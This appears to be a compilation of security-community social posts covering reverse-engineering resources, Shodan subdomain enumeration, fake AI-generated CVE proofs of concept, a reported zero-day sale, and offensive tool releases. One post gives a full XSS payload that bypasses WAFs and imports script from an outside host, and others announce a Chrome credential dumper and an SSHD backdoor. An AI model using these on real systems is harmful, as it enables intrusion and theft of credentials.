If you do Windows internals / reversing, bookmark this.
@j00ru's syscall table tracks x86-64 Nt* syscall IDs across Windows XP all the way through modern Windows 11/Server builds.
Great for version diffing, old sample analysis, syscall-stub validation and generally answering “what the hell was 0x72 on this build?”
https://t.co/POXiAnTN2n
If you're into reverse engineering, Windows internals or anti-cheat research, @cra0_net 's blog is one of those archives you can lose an entire weekend in.
Years of reversing games, engines and protection systems:
• IDA tooling + function signature preservation
• Windows kernel debugging with WinDbg/KDNET
• Source 2 reversing
• VAC / VAC3 / VAC Live
• Code integrity + DLL verification
• Byfron Hyperion anti-tamper
• BattlEye + Windows loader internals
• Anti-debugging
• File formats, game engines and asset formats
• Hardware reversing
Some particularly good rabbit holes:
VAC3 / Valve false-positive research:
https://t.co/bUpoZM6m63
CS2 Code Integrity, VAC, VACnet + VAC Live:
https://t.co/u3mIYXXWys
Byfron Hyperion Anti-Tamper:
https://t.co/9wWJL6yhHP
BattlEye + ntdll loader internals:
https://t.co/BPqXssv8Z8
Preserving RE work across binary updates with IDA:
https://t.co/eRbl4qy4yM
Windows kernel debugging Part 1:
https://t.co/U3Bk2BTcHz
Windows kernel debugging Part 2 / KDNET:
https://t.co/6psxnHEutJ
Full archive:
https://t.co/muc0iXWbaS
Game hacking is often just reverse engineering with a different objective.
Anti-cheat research in particular sits right at the intersection of RE, Windows internals, anti-tamper, detection engineering and systems security.
Old and new, there's a lot of gold in this archive.
#ReverseEngineering #WindowsInternals #InfoSec
You can also use Shodan's Certificate Transparency (CT) API to enumerate a target's subdomains directly from the https://t.co/b8sFqTyruD database.
https://t.co/6vL6HjRSmi
/api/v1/domain/{domain} ~returns the certificates that match a domain
/api/v1/domain/{domain}/hostnames ~returns all hostnames associated with a domain
It's crazy how hallucinated AI CVE PoCs keep ending up in @NIST NVD references.
One recent example is CVE-2026-21962, a 10.0 CVE in Oracle HTTP Server / Apache Proxy Plugin.
https://t.co/u33KjhBxTZ links to a GitHub repository with a fake PoC.
This also propagates to @github advisories: https://t.co/37TFXgGpe1
Meanwhile, some blue teams are injecting AI slop rules to prevent this and thinking they are protected, but they are not.
So far I have published 13 articles (862 pages) to help other professionals in the cybersecurity community:
ERS 03: https://t.co/4lo5Hi0gnd
ERS 02: https://t.co/6SNMK1tBkd
ERS 01: https://t.co/YMTSBl59VC
MAS 10: https://t.co/eS2S5fVqjl
MAS 09: https://t.co/2RTyR4Foqj
MAS 09: https://t.co/yvXoY9uoDH
MAS 07: https://t.co/DIcpSdQRqo
MAS 06: https://t.co/AvjPAaSP1f
MAS 05: https://t.co/4wFVoBFCAr
MAS 04: https://t.co/PE7JeELxvO
MAS 03: https://t.co/QXa2To5rfk
MAS 02: https://t.co/BPt9L7Q7oo
MAS 01: https://t.co/vGnT26NgsP
Even though I have very limited time to write, I hope to be able to share new articles soon.
Have a great day.
#reverseengineering #vulnerability #research #windows #chrome #informationsecurity #infosec #kernel #drivers #malware #windows #macOS #linux
❗️Zero-day exploit for WordPress plugin allegedly sold for large-scale spam abuse
📌 Country: Unknown
▪️Type: Exploit Sale (Zero-day)
▪️Threat actor: Biden
▪️Samples: Yes
A threat actor claims to be selling the source code for a zero-day exploit targeting a WordPress plugin with over 4,000 installations. According to the listing, the vulnerability allows unauthorized email sending from affected websites and supports both mass and individual mail campaigns. Screenshots and email output are shared as proof.
Details claimed in the listing:
▪️Target: WordPress plugin
▪️Plugin installs referenced: 4,000+
▪️Vulnerable sites claimed: 3,800+
▪️Exploit capability: Unauthorized email sending
▪️Use case described: Spam / phishing
▪️Patch status claimed: Not patched
▪️Sale type: Single buyer only
▪️Price: $1,500
v7.13 of xnLinkFinder is available:
🩹 BUG FIX: The --depth processing wasn't working correctly (not sure since when)
✅ Implement Keep-Alive to slightly speed up
🩹 See CHANGELOG for other bug fixes
https://t.co/hAHxqZKxOK
#BugBounty
🤘
Another #XSS Payload to Rule Them All!
#Bypass Imperva, Akamai and CloudFlare WAF
=> Prepend with 50 chars then use
1"><A HRef=%26quot AutoFocus OnFocus%0C={import(/https:https://t.co/Ng2aOLONda)}>
PoC: https://t.co/k2GsBxMmG5
#hack2learn@KN0X55
Sharing my Burp Extension that earned me $200k in 2025 while API testing heavy JS-rich targets.
https://t.co/2ttRurgoPh
The tool helps find endpoints, files, internal emails, and some secrets from minified JS.
Its goal is to achieve maximum efficiency with reduced noise in results. Contributions and feedbacks are welcome.
Two repositories uploaded:
DumpChromeSecrets - Extract data from modern Chrome versions, including refresh tokens, cookies, saved credentials, autofill data, browsing history, and bookmarks.
https://t.co/KZNcGAnStY
GhostlyHollowingViaTamperedSyscalls2- Combining Ghostly Hollowing and Tampered Syscalls.
https://t.co/VpViq5ohKl
THC Release: 🎄Smallest SSHD backdoor🎄
- Does not add any new file
- Survives apt-update
- Does not use PAM or authorized_keys
Just SSHD trickery....adds one line only.
More at https://t.co/zVCLwmbXv2 👌